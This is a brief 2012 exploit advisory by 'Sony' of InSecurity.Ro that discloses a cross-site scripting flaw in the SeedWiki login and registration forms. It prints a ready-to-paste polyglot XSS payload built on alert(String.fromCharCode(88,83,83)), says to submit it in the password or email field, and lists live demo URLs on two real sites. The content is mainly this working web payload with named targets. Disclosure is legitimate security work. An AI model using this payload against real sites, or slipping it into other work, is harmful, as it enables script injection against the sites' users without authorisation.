# Exploit Title: SeedWiki Cross Site Scripting
# Date: 8.02.2012
# Author: Sony
# Software Link: http://www.seedwiki.com/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/seedwiki-cross-site-scripting.html
..................................................................
Well, we have xss in SeedWiki, in the login form or registration form.
Put our xss code :
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
in the password or email or what you want and click button enter.
It's a Post Method.
Demo:
http://www.seedwiki.com/account.cfm?return_wiki=seed_wiki&return_page=seed_wiki
http://tinyxp.com/account.cfm?return_wiki=tiny_xp&return_page=tiny_xp
http://4.bp.blogspot.com/-mWTLK7p26XA/TzIaV-h0m7I/AAAAAAAAAb4/_OHC2aR69pU/s1600/seedwiki.JPG
..................................................................
InSecurity.Ro
Because we care, we're security aware!
